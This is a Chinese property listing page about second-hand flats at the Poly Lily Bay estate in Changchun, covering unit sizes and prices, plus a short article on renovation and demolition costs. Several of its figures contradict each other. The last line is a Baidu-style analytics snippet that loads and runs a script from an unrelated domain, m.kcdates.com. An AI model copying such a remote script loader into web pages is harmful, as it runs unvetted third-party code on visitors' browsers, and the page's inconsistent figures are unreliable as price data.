保利百合香湾二手房_户型图_房价

保利百合香湾是保利集团打造的系列房地产之一，位于吉林省长春市，“和谐之美”、“家本文化”是百合系列产品独有的精神内核。保利百合香湾占地超过20万平方米，建筑面积达到了50万平方米，是一个环境优雅、设施齐全、住房舒适的小区项目。小区简介保利百合香湾是保利集团在长春市打造的一个小区项目之一，是一个设施齐全，环境优雅的住宅小区，小区占地面积达到了23万平方米，总建筑面积达50万平方米，设计总户数高达4188户，容积率为1.80，绿化率达到了37%。小区由保利长春公司在融合百合系列项目产品的精髓基础之上，融合了多项特色，并利用百合香湾和百合花园以及罗兰香园的双重优势和双重独特特点，将它们的特点完美地融合额在了一起，打造了这个极具优雅的小区项目。小区周边配套及户型小区的周边配套设施非常完善，其中有超过8条非常繁忙的公交线路途经此地，并能够直达长春市的各大大型商业圈地区，小区周围还有中东瑞家、金海马家居、太有市场、中东新天地购物公园等大型商业场所，并拥有多家大型医院和诊所，有多所小学和幼儿园，教育资源丰富，比如小艺术家幼儿园、君华幼儿艺术学校、长春市地八十二中学等等，另还坐落着长春师范学院等高等院校。小区目前在售的户型主要有二室二厅，面积为103平米，三室一厅，面积为100平米，四室二厅，面积为147平米;六室二厅，面积为187平米。二手房及房价小区目前在售的二手房包含了以上的几种户型，房价目前处于不太高的水准，大部分房屋的单价都在3000-8000元每平米之间，以最大的户型六室二厅为例，它的总面积大小为187平米，包含一个厨房和一个卫生间，目前的单价仅有3583元每平米，总价仅为67万人民币，首付只需要20.1万，月供款额为2489元，是非常实惠的一套房屋。以二室二厅房屋为例，它拥有一个厨房和一个卫生间，总面积只有90平方米，但是单价反而达到了6445元每平米，总价为58万，首付需要17.4万，月供款额为2155元。由此我们可以看到，保利百合香湾的房价并不算高，有的小型房屋的价格反而要比大房屋的价格高，上面的两个例子就是最典型的。6000多元的房屋价格相信大部分人还是能够接受的。

二手房装修拆除价格大约需要多少

业主购买二手房后所面临的第一步就是二手房装修拆除的工作，那么二手房装修拆除价格大约是多少呢？这和业主的房子所处地区以及房子面积大小等等许多方面有关。以一个厦门的100平米二手房为例，将其拆除的费用大约是900一平米，再将其重新装修的费用大概为10万到20万。当然，这个数据也只是大致估计，具体操作还要考虑以下几个方面：一、需要拆改的区域如果购入的二手房较为老旧，那么业主可能要将地面和墙面都进行拆改，从现在的市场均价来看，拆改地面及墙面的费用在40块每平米左右。如果墙面和地面都还可以保留，那么二手房装修拆除价格则会低一些。二、水电改造一般再进行二手房的重装时，水电改造是必不可少的一部分，这也是二手房装修拆除价格需要考虑的一个重要部分。因为水电改造的工序一般都很复杂，出了水管电线的费用还可能需要额外做防水措施以及对墙面地面的改造等，这样一来，价格自然就上去了。三、地面墙面的改造如果二手房的墙面地面需要改造的话，那么业主还面临着不同房间地面材料的选择，乳胶漆的选择，壁纸的选择等等问题。选择材料的好坏也是影响二手房拆除装修价格的一个重要方面，如果业主比较注重这方面的问题的话，那么在这些地方的预算就需要做高一点。总的来说，二手房装修拆除价格可能比新房装修还要高。因为二手房不仅要考虑装修费用，还要考虑拆除费用，改造费用等等。这些都需要耗费大量的人力，物力以及时间，尤其现在的人工费也越来越高，大家在进行拆改装修前一定要做好规划，不要盲目跟风。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();